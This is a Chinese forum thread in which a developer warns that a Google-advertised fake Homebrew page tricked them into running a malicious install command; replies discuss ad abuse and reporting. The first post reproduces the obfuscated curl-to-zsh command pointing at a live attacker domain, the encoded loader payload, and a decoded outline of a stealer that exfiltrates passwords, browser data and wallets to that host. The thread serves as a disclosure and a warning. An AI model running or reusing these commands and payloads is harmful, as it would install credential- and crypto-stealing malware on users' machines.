无良谷歌推广假Homebrew钓鱼网站

搞七捻三
1

我在给MacBook安装Homebrew，打开谷歌搜索 Homebrew install，第一个出现的网站看起来和之前的 Homebrew 官网一样（现在搜索又看不到了，但是我从历史记录中导出了链接），我点进去显示以下画面：

d2e5472e962de44bac48a6a6dc668664.png
d2e5472e962de44bac48a6a6dc668664.png3398×1918 384 KB

第一眼我真没发现问题，直接点击复制按钮打开terminal去运行，还输入了密码，我发现运行一会终端自己退出了，这很奇怪，和之前的安装现象不一致，这时候我才开始怀疑，再次打开网页一看才发现端倪。这tm的是钓鱼网站，我一个程序员装 Homebrew 竟然也差点被端了，上了这b当，这不得扒了一遍修复一下。

首先攻击者买Google广告，把伪装安装页推在前面（无良Google啊，什么广告都接？），我之所以被套路还有个原因是当时同时显示了两个广告链接，macbook 分辨率调小之后，第二个链接之后的广告提示词没看到… 但真正恶心的地方在于，网站给的命令不是官方 Homebrew 安装地址，而是一条被混淆过的命令。中间还夹了 base64。就很脏了。

原始钓鱼命令：curl -kfsSL $(echo 'aHR0cDovL3Bkcm5jb3NtZXRpY3MuY29tL2N1cmwvOGZiN2E2OTQ1ZjQ1ZThkZjk2NzQyZTk2ODUyOWQwNzc2ZWRkMzIyOGMzNTBkNTI0Mjk0MWY3OWM4NmUyMDVlOA==' | base64 -D) | zsh

解析后：curl -kfsSL http://pdrncosmetics.com/curl/8fb7a6945f45e8df96742e968529d0776edd3228c350d5242941f79c86e205e8 | zsh

获取到的脚本内容为：

#!/bin/zsh
d17873=$(base64 -D <<'PAYLOAD_m187631410219309' | gunzip
H4sIAKFSLGoAA91WW2/bNhR+9684VRXDasDo4nsSNQ26AA2KtEPSYMG6wqBJyiYsU5pJL47b/vdR
lixRsoHtZS/ji8zDj9+5H/r1K3fKhbuV8xbFbJmISbQWRPFEdBz43gK92IYRuHQp+8sV6ziuZG+P
yIKGME4IjoEmS8xFaKV0JUgil0xxIs9IsrQMkEoWTGNG0XSIB+NeP+r12YhG48GwF7DxYNQPxtQb
DgeM0m4QjEi379F+0AvGPT8ajslowAJP3zApcconC/YSWpQNAhxEvSH1yZAyEozHw2jc9bHX9/DA
75uXIh6z0HLVMnUTieNkNuNidrblaQ7iEXwF+zWgmQIPvl2AmjOxO8kWWa9iQAtAEhBa4g1SfMmg
68EfJSRb6ANYj5Kt0PWMCXUOd8mWxzF2+2cedO4w4UIlcn4Bt0KxGLQAPj/AE/jexO9Phg5cp2nM
fmPTj1y5/e7wrDuwjmjQ7iPt/jnYRSCaIGuuVHruunaeIJe+CLzk5EptaGjv8tFOn/VP34IfoIMh
yYqnKs92LNn/1utDdyNuJP8KkGBHks82XIHfxH+FV4AisOyssDTzj2wvy/23JsuKqfVK1Hnyynz/
4fHTx8nD7e83od3p+B680bEJesXHcQzo3fXT5P7my/3tzUM4MuTrNE4wnXDtaYdixeD0RDrI7iQp
E1LGsMKCApqzDYzMXs6sZmSegH1//emXz3fFx6m1r8LxRPJtXhbVVmuSCqssBifb0u0GeY4gcFIG
xjECiLJ7FeMuiHUBYn9mCfn3scwvk/laLGQWTehUdHBqhBoQ+A64pqQWaR56u93zXFsNmojDZY1d
wy/0BCxtyq8lUSSZyjRznb+KvOCugDuSIpAVrARphTmVNrqCwlsjAdoAaLdrRB3TW1QwHKiWa0KY
lIWDlRwrxZapCv1SXjpfHMFlaJZgpr4ggzDUiWqEJFtZU05IQjPrKNWJD/elMpWhD3LB09AuXCXJ
WujYGf7WyqnR79kyJ9QT/Pr45QgGId0RGOn3EK9e4B06BvnPJ9heyz9Osdzictj6o+a03QESqOJy
5PgZrJPvZeR/HtPRnJYzPTWupmseU+OVMMZK+bOdp4cLyjahzdv1jjN3tWng1CzI8jbJhsNa37mq
HeWjwTYQxRTQxWaXPul3WleHdyCNlX6fjkyM/drXvl87qb16+9XpFFV/euo4h0QxYynojuvqDt23
xxsIGtBiOGWLJqJSor3UbXXQPAc21yZdg1DPmNK0kny1NF6llkHhtX62tNbG30GNfGdBu1K8e+y8
VhmR4vGL+N9EzSDPUwoAAA==
PAYLOAD_m187631410219309
)
eval "$d17873"

这个脚本也很脏，让GPT给我解开后是：

#!/bin/zsh

daemon_function() {
    # 1. 静默化：关闭输入、输出、错误
    exec </dev/null
    exec >/dev/null
    exec 2>/dev/null

    # 2. 写死攻击者配置
    domain="pdrncosmetics.com"
    token="8fb7a6945f45e8df96742e968529d0776edd3228c350d5242941f79c86e205e8"
    api_key="de62a2f47d1c7dec2997f931a050a615"
    file="/tmp/osalogging.zip"

    # 3. 拉取动态 AppleScript 并执行
    if [ $# -gt 0 ]; then
        curl ... "http://$domain/dynamic?txd=$token&pwd=$1" | osascript
    else
        curl ... "http://$domain/dynamic?txd=$token" | osascript
    fi

    # 4. 如果 AppleScript 没执行成功，退出
    if [ $? -ne 0 ]; then
        exit 1
    fi

    # 5. 检查是否生成了数据包
    if [[ ! -f "$file" || ! -s "$file" ]]; then
        return 1
    fi

    # 6. 设置分块上传参数
    CHUNK_SIZE=10MB
    MAX_RETRIES=8
    upload_id="时间戳-随机值"
    total_size="读取 /tmp/osalogging.zip 大小"
    total_chunks="计算总分块数"

    # 7. 循环读取 zip 的每一块，上传到 /gate
    for each chunk:
        用 dd 从 /tmp/osalogging.zip 取一段
        curl -X PUT 上传到：
        http://pdrncosmetics.com/gate?buildtxd=...&upload_id=...&chunk_index=...&total_chunks=...

        如果失败，最多重试 8 次

    # 8. 上传成功后删除本地 zip
    rm -f /tmp/osalogging.zip
}

# 9. 后台执行
daemon_function "$@" &

主要流程：

  1. 让你终端什么都看不到，在后台运行
  2. 拉取并运行来自 pdrncosmetics.com 的 AppleScript payload，目标包括浏览器数据、保存登录数据、Cookie、钱包扩展、Telegram、桌面钱包文件、文档/密钥文件，以及通过假的 “System Preferences” 密码框骗 Mac 登录密码。这个命令还带了个参数，如果运行命令输入了密码，应该会将密码也传回去
  3. 坐等 /tmp/osalogging.zip 生成完
  4. 再切分为 10MB 分块上传，上传成功后删除本地文件，还tm的挺谨慎的

此时会发现电脑中会多一个恶意进程和LaunchAgent，分别是/Users/xxx/.local/com.apple.9d29ab1f.hcpi和~/Library/LaunchAgents/com.apple.9d29ab1f.hcpi.plist.

最后Goggle搜索了一下，一年前就有了这个，Google是干嘛了，一年了还不封。

25364714a4029cb46984007a45ddf644.png
25364714a4029cb46984007a45ddf644.png1510×1336 426 KB

希望大家不要和我一样被钓鱼了

7 个赞
2

AI生成的内容需要截图上来，楼主的代码块里的改一下？

3

你只要愿意烧钱，可以做任意软件的假官网并且排名比官网高。

4

搜索引擎都是这样，有钱有精力去做SEO什么网站都能靠前

5

谷歌这个3月我就碰到一次，投诉了也没反应，不知道谷歌现在在干什么

6

无论什么搜索引擎以及ai，都要有自己的判断力，国内国外都是，不要有任何过滤眼镜！

1 个赞
7

image
image651×228 5.93 KB

举报了，但显然不会有什么用的。。。

8

真没想到谷歌也这样，昧着良心赚钱

1 个赞
9

是啊，这个一年前就有了，我看到X上帖子反应陆续都有人在投诉，竟然还留到了现在

10

谷歌一直都这样的啊，而且近年来是愈演愈烈的，国外的月亮也从来都不圆的。

11

一般來說官方的安裝就大大方方寫出來的
比如說安裝就是
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
不會網址給你搞什麼obf 還base64

12

我大概上个月也碰到过类似的，这些网站做了屏蔽，只有特定UA会跳转触发

Screenshot 2026-06-13 at 17.24.20
Screenshot 2026-06-13 at 17.24.201484×1960 271 KB

但是举报成本很高，涉及到多方
github
cloudflare
Google Safe Browsing
apple reportphishing
还有registrar, PublicDomainRegistry等等

我甚至都让AI起草好了邮件，最后放弃发送了…
前几天读恶意脚本发现个有趣的事，似乎这群人会绕过CIS(独联体，前苏联解体产物)和俄语键盘，这算民族精神吗？

13

google一直都这样的，Don’t be evil哪有dollar香，有些广告甚至在搜索页域名显示跟官网一摸一样（非近似字符那种），举报有用但不多吧，只能自己小心点了，广告屏蔽搞起来

14

死灰复燃?

不过我仍然是复现不了新的

image

1 个赞